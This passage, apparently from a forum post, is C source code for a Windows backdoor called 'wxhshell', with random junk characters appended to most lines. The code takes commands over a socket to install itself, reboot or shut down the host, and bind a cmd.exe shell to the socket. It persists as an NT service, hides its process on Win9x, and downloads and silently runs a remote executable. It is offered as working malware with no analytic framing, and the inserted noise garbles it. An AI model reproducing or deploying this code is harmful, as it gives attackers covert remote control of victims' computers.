  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &_&])V)<\S  
  } oJ`ih&Q8  
  else { `"m"qUd  
WjGv%^?  
    switch(cmd[0]) { J%xp1/= 2  
  .9 WUp>  
  // 帮助 |rf\]3 F  
  case '?': { gtz!T2%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5/mW:G,&  
    break; "HVwm>qEi  
  } B[-%A!3 F  
  // 安装 )F<<M+q=  
  case 'i': { g?(Z+w4A 3  
    if(Install()) 5JI+42S \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BoP%f '0N  
    else `NV =2T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <P( K,L?r  
    break; LaJc;Jt$  
    } G`w,$:,  
  // 卸载 -nO('(t  
  case 'r': { uavts9v<  
    if(Uninstall()) 7(~^6Ql!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 96vv85g  
    else mn" a$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;4F[*VF!w  
    break; <HG~#oBRq  
    } Bw"L!sZ  
  // 显示 wxhshell 所在路径 `S<uh9/  
  case 'p': { (H+'sf^h  
    char svExeFile[MAX_PATH]; 5Zn3s()  
    strcpy(svExeFile,"\n\r");  iTbmD  
      strcat(svExeFile,ExeFile); ,^|+n()O  
        send(wsh,svExeFile,strlen(svExeFile),0); ]-)qL[Q  
    break; >S{1=N@Ev=  
    } ,y2ur2  
  // 重启 .'"+CKD.N  
  case 'b': { ^F`FB..:y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4ej$)AdW3  
    if(Boot(REBOOT)) Qoq@=|7kxa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 m&M(ct  
    else { a|5GC pp  
    closesocket(wsh); WLNkO^zb  
    ExitThread(0); +zs;>'Sf  
    } <g,k[  
    break; O(/K@e  
    } 1WcT>_$  
  // 关机 5jy>)WqK  
  case 'd': { QsDa b4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vD1jxk'fd  
    if(Boot(SHUTDOWN)) BD=;4SLT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )R ,*  
    else { Bh2m,=``  
    closesocket(wsh); PpU : 4;en  
    ExitThread(0); f|6%71  
    } ?ArQ{9c  
    break; |=38t8Ge&  
    } H7#RL1qM&  
  // 获取shell v1 oSf  
  case 's': { jK I+-s  
    CmdShell(wsh); QE)g==d  
    closesocket(wsh); V%y kHo  
    ExitThread(0); LAf!y"A#  
    break; 9S6vU7W  
  } Fw"~f5O  
  // 退出 o,Ha-z]f  
  case 'x': { q.<q(r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2HQ'iEu$  
    CloseIt(wsh); ~z|/t^  
    break; )zUV6U7v  
    } ^n]tf9{I  
  // 离开 FAE>N-brQ  
  case 'q': { {%S1x{U}W-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C _[jQTr  
    closesocket(wsh); A7|"0*62  
    WSACleanup(); 1oX"}YY1  
    exit(1); #|$i H kVY  
    break; yo (&~r  
        } |[o2S90  
  } r*+9<8-ZX<  
  } &% M^:WT  
&g) `  
  // 提示信息 yg\A&0I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O%c6vp7  
} ~~5kAY-  
  } =/dW5qy;*+  
sSD(mO<(  
  return; IUc!nxF#  
} 3\mFK$#sr  
i,4JS,82I  
// shell模块句柄 7BI0g@$Nn]  
int CmdShell(SOCKET sock) R>gj"nB  
{ y-sQ"HPN  
STARTUPINFO si; yuI5# VUS  
ZeroMemory(&si,sizeof(si)); E/s3@-/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tvb hWYe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *~&W?i  
PROCESS_INFORMATION ProcessInfo; 'a"<uk3DT  
char cmdline[]="cmd"; ZQ20IY|,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -'q=oTZ  
  return 0; m"x~Fjvd  
} %],.?TS2V  
'R=o,=  
// 自身启动模式 &I!2gf  
int StartFromService(void) :hJhEQH(9  
{ h Qu9ux  
typedef struct kN]#;R6  
{ P'Y8 t  
  DWORD ExitStatus; @KS:d\l}U  
  DWORD PebBaseAddress; ;WGY)=-gv  
  DWORD AffinityMask; `RmB{qgB  
  DWORD BasePriority; 9wWjl}%  
  ULONG UniqueProcessId; 4-3B"  
  ULONG InheritedFromUniqueProcessId; {v`wQM[  
}   PROCESS_BASIC_INFORMATION; CSsb~/Oxu  
t 8M3VGN  
PROCNTQSIP NtQueryInformationProcess; W8":lpp  
7d4R tdI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; orHVL2 KK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UNY>Q7  
mLq?-&F  
  HANDLE             hProcess; (1jkZ^7  
  PROCESS_BASIC_INFORMATION pbi; O^:Pr8|{J  
Y_)04dmr@[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4G`YZZQ  
  if(NULL == hInst ) return 0; B:x4H}`vh  
P_ ZguNH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  K8 ThZY%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9Hc#[Ml  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MESQAsx%  
}W|CIgF*  
  if (!NtQueryInformationProcess) return 0; gJF;yW 4  
BO h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nxt/R%(  
  if(!hProcess) return 0; ekAGzu  
RNt3az  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "+XO[WGc  
+ubO-A?  
  CloseHandle(hProcess); 9f"6Jw@F  
j:sac*6m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nK96A.B%p  
if(hProcess==NULL) return 0; 3IJIeG>  
)?TJ{'m  
HMODULE hMod; 7NXT.E~2  
char procName[255]; H"&N<"hw  
unsigned long cbNeeded; [yVU p+  
~O^_J)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h2BD?y  
Bo~wD|E2  
  CloseHandle(hProcess); 4< H-ol  
[R Ch7FE23  
if(strstr(procName,"services")) return 1; // 以服务启动 , 1`eH[  
P)}:lTe  
  return 0; // 注册表启动 UHCx}LGe  
} U 9 k}y  
~I^]O \?  
// 主模块 iu1iO;q  
int StartWxhshell(LPSTR lpCmdLine) _*`AGda  
{ Y5npz^i  
  SOCKET wsl; =o HJ_  
BOOL val=TRUE; Fvv6<E  
  int port=0; om/gk4S2  
  struct sockaddr_in door; Hv IN'  
)8N/t6Q  
  if(wscfg.ws_autoins) Install(); je{5iIr3/  
#pVk%5N  
port=atoi(lpCmdLine); |6;.C1\,  
|mM7P^I  
if(port<=0) port=wscfg.ws_port; h\ ybh  
z1:auodI@  
  WSADATA data; ( Rf)&KN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %%3ugD5i!  
Em?skUnG,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /JfXK$`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gT+/CVj R  
  door.sin_family = AF_INET; +_ G'FD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U  *I52$  
  door.sin_port = htons(port); N4}h_mh^'  
woR)E0'qx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *Js<VR  
closesocket(wsl); 5_i&}c23Vn  
return 1; 9c?izpA  
} lA ,%'+-  
4t+88e  
  if(listen(wsl,2) == INVALID_SOCKET) { LS_QoS  
closesocket(wsl); 5&xvY.!27V  
return 1; 7u}r^+6_o  
} XH*^#c  
  Wxhshell(wsl); 0GG;o[<  
  WSACleanup(); x Dr^&rC  
EgO4:8$h  
return 0; o^NQ]BdH8  
rms&U)?  
} [AGm%o=)  
REsThB  
// 以NT服务方式启动 FUOvH 85f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N0Y!  
{ dG|\geD  
DWORD   status = 0; UnMDdJ\  
  DWORD   specificError = 0xfffffff; LTCjw_<7  
@z,'IW74V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8~I>t9Q+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h?O-13v   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :,u+[0-S  
  serviceStatus.dwWin32ExitCode     = 0; nDo|^{!L`  
  serviceStatus.dwServiceSpecificExitCode = 0; q<UqGj7#   
  serviceStatus.dwCheckPoint       = 0; S xgY q  
  serviceStatus.dwWaitHint       = 0; ^:q(ksssY  
ht-6_]+ME  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kOjq LA  
  if (hServiceStatusHandle==0) return; qI"mW@G~H  
&0l Nj@/  
status = GetLastError(); uI%[1`2N-  
  if (status!=NO_ERROR) C/w;g3  
{ ~Ch`A@=5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JxWHrsh[  
    serviceStatus.dwCheckPoint       = 0; bH.">IV  
    serviceStatus.dwWaitHint       = 0; 4EELaP|%  
    serviceStatus.dwWin32ExitCode     = status; HWd,1  
    serviceStatus.dwServiceSpecificExitCode = specificError; D"Xm9 (  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R5FjJ>JE  
    return; mB,7YZv  
  } X >**M  
{u1t .+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *83+!DV|  
  serviceStatus.dwCheckPoint       = 0; 7+fik0F  
  serviceStatus.dwWaitHint       = 0; k~gQn:.Cx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b6i0_fOO  
} E=B9FIx~<  
COT;KC6 n  
// 处理NT服务事件,比如:启动、停止 *?8Q:@:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b 9?w _  
{ 4VooU [Ka(  
switch(fdwControl) v#X? KqD  
{ x=Ru@nK;  
case SERVICE_CONTROL_STOP: 1TVTP2&Rd  
  serviceStatus.dwWin32ExitCode = 0; BAPi<U'D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [DE8s[i-  
  serviceStatus.dwCheckPoint   = 0; +:t1PV;l  
  serviceStatus.dwWaitHint     = 0; hb_Ia]b  
  { RWoiV10  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x O)nS _I  
  } 7}#vANm  
  return; 78Gvc~j  
case SERVICE_CONTROL_PAUSE: {P]l{W@li  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I;`V*/s8"  
  break; #"Zr#P{P  
case SERVICE_CONTROL_CONTINUE: l^vq'<kI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g7H;d  
  break; sv[)?1S  
case SERVICE_CONTROL_INTERROGATE: E*ic9Za8`h  
  break; 9-@w(kMu  
}; _S[H:b$?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (u*]&yk  
} rd"]$_P8O  
I?PKc'b  
// 标准应用程序主函数 GM%|mFqeu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]juXm1)>W1  
{ aB Yhk|Ei  
!9!N s(vUM  
// 获取操作系统版本 YF"D;.  
OsIsNt=GetOsVer(); h8h4)>:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]EK"AuEz`  
'[HFIJ0K!  
  // 从命令行安装 saV3<zgx  
  if(strpbrk(lpCmdLine,"iI")) Install(); s9Xeh"  
k/LV=e7  
  // 下载执行文件 -0kwS4Hx2  
if(wscfg.ws_downexe) { w7 QIKsI0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @NVq .z  
  WinExec(wscfg.ws_filenam,SW_HIDE); b2 ),J  
} p;p G@Vg  
}Orc;_)r  
if(!OsIsNt) { IlE! zRA  
// 如果时win9x,隐藏进程并且设置为注册表启动 |%tR#!&[:g  
HideProc(); Q`oi=O YB  
StartWxhshell(lpCmdLine); #e#8I7P  
} ;6]+/e7O  
else !~ZL  
  if(StartFromService()) FCI T+ 8K  
  // 以服务方式启动 n8iN/Y<%U  
  StartServiceCtrlDispatcher(DispatchTable); 1jV^\ x0  
else _Y0o\0B  
  // 普通方式启动 >Z3}WMgBN  
  StartWxhshell(lpCmdLine); fLy s$*^)^  
$0wl=S  
return 0; ja:%j&:  
}
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只看该作者 1 发表于: 2006-10-10
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